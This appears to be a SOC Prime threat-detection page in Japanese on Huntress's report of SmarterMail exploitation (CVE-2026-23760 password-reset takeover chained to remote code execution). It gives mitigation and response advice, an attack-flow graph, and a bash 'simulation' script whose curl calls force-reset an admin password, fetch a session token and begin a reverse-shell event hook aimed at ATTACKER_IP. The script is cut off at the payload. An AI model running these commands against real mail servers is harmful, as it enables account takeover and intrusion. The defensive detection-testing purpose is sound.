SOC Prime Bias: クリティカル

04 2月 2026 16:59

脆弱性への追跡:HuntressがSmarterMailアカウント乗っ取りからRCEに繋がる事例を発見

Author Photo
Ruslan Mikhalov SOC Primeの脅威リサーチ責任者 linkedin icon フォローする
脆弱性への追跡:HuntressがSmarterMailアカウント乗っ取りからRCEに繋がる事例を発見
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

要約

Huntressは、特権アカウントの乗っ取りや、最終的にはリモートコード実行を可能にするSmarterMailの2つの欠陥の野外での悪用を観察しました。攻撃者は認証されていないパスワードリセットの流れを開始して特権トークンを取得し、次にSmarterMailの「システムイベント」を悪用してホスト偵察のためのコマンドを実行します。この活動は複数の顧客に影響を与え、広範囲で自動化された大規模な悪用の兆候を示しました。

調査

Huntressのアナリストは、パスワードリセットをトリガーし、認証し、システムイベントを構成し、攻撃者が管理するドメインを追加し、その後痕跡を消すために使用されたSmarterMail APIエンドポイントに対する一貫したHTTP POSTリクエストのシーケンスを再構築しました。このチェーンはCVE-2026-23760(特権アカウント乗っ取り)とCVE-2025-52691(任意ファイルアップロード)を対象としています。リクエストは一般的にpython-requests/2.32.4 ユーザーエージェントを使用し、オペレーターは偵察出力を含むresult.txtファイルを残しました。

緩和策

両方のCVEに対処するためにSmarterMailをビルド9511以降にアップグレードします。APIの公開を見直し、緩め、不要なシステムイベントを無効にするか制限し、アカウント、イベント、またはドメインの変更を伴う異常なAPI活動を監視します。攻撃者が作成したシステムイベントやドメインを特定し、削除して持続を排除します。

対応

疑わしいAPIコールパターンとpython-requests/2.32.4ユーザーエージェントを探し出し、不正なソースIPをブロックし、悪意のあるシステムイベントを削除します。特権証明書を直ちに回転させます。エンドポイントフォレンジックスを実行してresult.txtを見つけ、追加のペイロードが準備されているかどうかを確認します。影響を受けたユーザー/顧客に通知し、明確な修復指示を提供します。

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef data fill:#e6e6e6 %% Nodes action_exploit_cred[“<b>アクション</b> – <b>T1212 資格情報アクセスのためのエクスプロイト</b><br/>攻撃者は POST /api/v1/auth/force-reset-password を使用して CVE-2026-23760 を悪用し、特権パスワードをリセットする。”] class action_exploit_cred action action_authenticate[“<b>アクション</b> – <b>T1078 正規アカウント</b> & <b>T1134.003 アクセストークン操作</b><br/>新しい資格情報を使用し、POST /api/v1/auth/authenticate-user によりアクセストークンを取得する。”] class action_authenticate action tool_requests[“<b>ツール</b> – <b>名称</b>: python-requests 2.32.4<br/><b>目的</b>: API 呼び出しに使用される HTTP クライアント”] class tool_requests tool data_token[“<b>データ</b> – アクセストークン<br/>後続の API 操作のために保存される”] class data_token data action_config_event[“<b>アクション</b> – <b>T1569 システムサービス</b> & <b>T1574 実行フローのハイジャック</b><br/>POST /api/v1/settings/sysadmin/event-hook により悪意のあるシステムイベントを作成する。”] class action_config_event action action_add_domain[“<b>アクション</b> – <b>T1204 ユーザー実行</b><br/>POST /api/v1/settings/sysadmin/domain-put によりイベントをトリガーし、偵察コマンドを実行するドメインを追加する。”] class action_add_domain action data_result[“<b>データ</b> – result.txt<br/>C:\\Program Files (x86)\\SmarterTools\\SmarterMail\\Service\\wwwroot\\result.txt に作成されるファイル”] class data_result data action_cleanup[“<b>アクション</b> – クリーンアップ手順<br/>POST /api/v1/settings/sysadmin/domain-delete および event-hook-delete によりアーティファクトを削除する。”] class action_cleanup action action_remove_logs[“<b>アクション</b> – <b>T1070.001 Windows イベントログの消去</b>”] class action_remove_logs action action_file_deletion[“<b>アクション</b> – <b>T1070.004 ファイル削除</b><br/>result.txt および関連ファイルを削除する。”] class action_file_deletion action action_clear_persistence[“<b>アクション</b> – <b>T1070.009 永続化の消去</b>”] class action_clear_persistence action %% Connections action_exploit_cred –>|使用| tool_requests action_exploit_cred –>|結果| action_authenticate action_authenticate –>|生成| data_token data_token –>|使用者| action_config_event action_config_event –>|作成| action_add_domain action_add_domain –>|書き込み| data_result action_add_domain –>|トリガー| action_cleanup action_cleanup –>|含む| action_remove_logs action_cleanup –>|含む| action_file_deletion action_cleanup –>|含む| action_clear_persistence

攻撃フロー

シミュレーション実行

前提条件: テレメトリー&ベースラインの準備フライトチェックが合格していること。

攻撃の物語とコマンド

  1. 偵察: 攻撃者がSmarterMailインスタンスがCVE‑2026‑23760に脆弱なバージョンで動作していることを発見する。
  2. パスワード強制リセット (T1098): 認証されていない force-reset-password エンドポイントを使用して、特権の admin アカウントの既知のパスワードを設定する。
  3. 認証 (T1078): 新たに設定された認証情報を使って authenticate-user エンドポイントでログインし、セッショントークンを取得する。
  4. 悪意のあるイベントフックのデプロイ (T1569): PowerShellリバースシェルを攻撃者のサーバーからホストするように指示したJSONペイロードを event-hook にPOSTする。
  5. 実行のトリガー: event-hookはウェブサーバー上で自動的に動き、攻撃者にリバースシェルを生成する。
  6. クリーンアップ: 検出から除外された event-hook-delete エンドポイント経由で悪意のあるフックを削除する。

すべてのステップが、Sigmaルールの 選択 基準と一致するHTTP POSTイベントを生成する。

回帰テストスクリプト

#!/usr/bin/env bash
# -------------------------------------------------
# SmarterMailアカウント乗っ取り&RCEシミュレーション
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"
# 1. パスワードの強制リセット(認証なし)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
    -H "Content-Type: application/json" 
    -d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"
# 2. セッショントークンの認証と取得
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
       -H "Content-Type: application/json" 
       -d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}" 
       | jq -r '.sessionToken')
# 3. 悪意のあるイベントフックのデプロイ(RCE)
PAYLOAD=$(cat <

クリーンアップコマンド

#!/usr/bin/env bash
# 残存する悪意あるフックを削除し、管理者パスワードをリセットします
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"
# 安全なパスワードで認証(既知の場合)または前のトークンを使用して
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}" 
        | jq -r '.sessionToken')
# 悪意のあるイベントフックを削除(まだ存在する場合)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
    -H "Authorization: Bearer ${TOKEN}"
# 管理者パスワードを既知の良好な値にリセットする
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
    -H "Content-Type: application/json" 
    -d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"